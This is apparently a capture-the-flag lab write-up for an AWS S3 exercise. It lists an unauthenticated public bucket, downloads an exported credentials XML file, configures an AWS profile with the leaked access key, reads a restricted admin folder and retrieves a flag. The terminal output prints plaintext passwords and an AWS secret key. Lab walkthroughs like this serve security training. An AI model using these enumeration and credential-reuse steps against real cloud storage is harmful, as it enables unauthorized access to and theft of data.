aws pentesting workshop :- s3 compromised

http://dev.huge-logistics.com/

Right click on webpage and select inspect

Open the html file and read

```
┌──(mahathi㉿SriGanesha)-[~]
└─$   aws s3 ls s3://dev.huge-logistics.com --no-sign-request
PRE admin/
PRE migration-files/
PRE shared/
PRE static/
2023-10-16 22:30:47       5347 index.html
```

```
┌──(mahathi㉿SriGanesha)-[~]
└─$   aws s3 ls s3://dev.huge-logistics.com/admin/ --profile s3
2023-10-16 20:38:38          0
2024-12-02 20:27:44         32 flag.txt
2023-10-17 01:54:07       2425 website_transactions_export.csv
```

```
┌──(mahathi㉿SriGanesha)-[~]
└─$  aws s3 ls s3://dev.huge-logistics.com/migration-files/ --profile s3
2023-10-16 20:38:47          0
2023-10-16 20:39:26    1833646 AWS Secrets Manager Migration - Discovery & Design.pdf
2023-10-16 20:39:25    1407180 AWS Secrets Manager Migration - Implementation.pdf
2023-10-16 20:39:27       1853 migrate_secrets.ps1
2023-10-16 23:30:13       2494 test-export.xml
```

```
┌──(mahathi㉿SriGanesha)-[~]
└─$ aws s3 ls s3://dev.huge-logistics.com/shared/ --profile s3
2023-10-16 20:38:33          0
2023-10-16 20:39:01        993 hl_migration_project.zip
```

```
┌──(mahathi㉿SriGanesha)-[~]
└─$  aws s3 ls s3://dev.huge-logistics.com/static/ --profile s3
2023-10-16 20:38:26          0
2023-10-16 22:22:30      54451 logo.png
2023-10-16 22:22:30        183 script.js
2023-10-16 22:22:31       9259 style.css
```

```
┌──(mahathi㉿SriGanesha)-[~]
└─$ aws s3 ls s3://dev.huge-logistics.com/index.html --profile s3
2023-10-16 22:30:47       5347 index.html

┌──(mahathi㉿SriGanesha)-[~]
└─$ aws s3 cp s3://dev.huge-logistics.com/migration-files/test-export.xml . --profile s3
download: s3://dev.huge-logistics.com/migration-files/test-export.xml to ./test-export.xml

┌──(mahathi㉿SriGanesha)-[~]
└─$  cat test-export.xml
<?xml version="1.0" encoding="UTF-8"?>
<CredentialsExport>
<!-- Oracle Database Credentials →
<CredentialEntry>
<ServiceType>Oracle Database</ServiceType>
<Hostname>oracle-db-server02.prod.hl-internal.com</Hostname>
<Username>admin</Username>
<Password>Password123!</Password>
<Notes>Primary Oracle database for the financial application. Ensure strong password
policy.</Notes>
</CredentialEntry>
<!-- HP Server Credentials →
<CredentialEntry>
<ServiceType>HP Server Cluster</ServiceType>
<Hostname>hp-cluster1.prod.hl-internal.com</Hostname>
<Username>root</Username>
<Password>RootPassword456!</Password>
<Notes>HP server cluster for batch jobs. Periodically rotate this password.</Notes>
</CredentialEntry>
<!-- AWS Production Credentials →
<CredentialEntry>
<ServiceType>AWS IT Admin</ServiceType>
<AccountID>794929857501</AccountID>
<AccessKeyID>AKIA3SFMDAPOQRFWFGCD</AccessKeyID>
<SecretAccessKey>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</SecretAccessKey>
<Notes>AWS credentials for production workloads. Do not share these keys outside of the
organization.</Notes>
</CredentialEntry>
<!-- Iron Mountain Backup Portal →
<CredentialEntry>
<ServiceType>Iron Mountain Backup</ServiceType>
<URL>https://backupportal.ironmountain.com</URL>
<Username>hladmin</Username>
<Password>HLPassword789!</Password>
<Notes>Account used to schedule tape collections and deliveries. Schedule regular
password rotations.</Notes>
```

</CredentialEntry>
<!-- Office 365 Admin Account -->
<CredentialEntry>
<ServiceType>Office 365</ServiceType>
<URL>https://admin.microsoft.com</URL>
<Username>admin@company.onmicrosoft.com</Username>
<Password>O365Password321!</Password>
<Notes>Office 365 global admin account. Use for essential administrative tasks only and enable MFA.</Notes>
</CredentialEntry>
<!-- Jira Admin Account -->
<CredentialEntry>
<ServiceType>Jira</ServiceType>
<URL>https://hugelogistics.atlassian.net</URL>
<Username>jira_admin</Username>
<Password>JiraPassword654!</Password>
<Notes>Jira administrative account. Restrict access and consider using API tokens where possible.</Notes>
</CredentialEntry>
</CredentialsExport>

CONFIGURE NEW USER WITH THE SECRET KEY AND ID FOUND

```
┌──(mahathi㉿SriGanesha)-[~]
└─$  aws configure --profile mz
AWS Access Key ID [****************FGCD]:
AWS Secret Access Key [****************Y6jP]:
Default region name [us-east-1]:
Default output format [json]:
```

```
┌──(mahathi㉿SriGanesha)-[~]
└─$  aws s3 ls s3://dev.huge-logistics.com/admin/ --profile mz
2023-10-16 20:38:38          0
2024-12-02 20:27:44         32 flag.txt
2023-10-17 01:54:07       2425 website_transactions_export.csv
```

```
┌──(mahathi㉿SriGanesha)-[~]
└─$ cat flag.txt
a49f18145568e4d001414ef1415086b8
```

FLAG FOUND!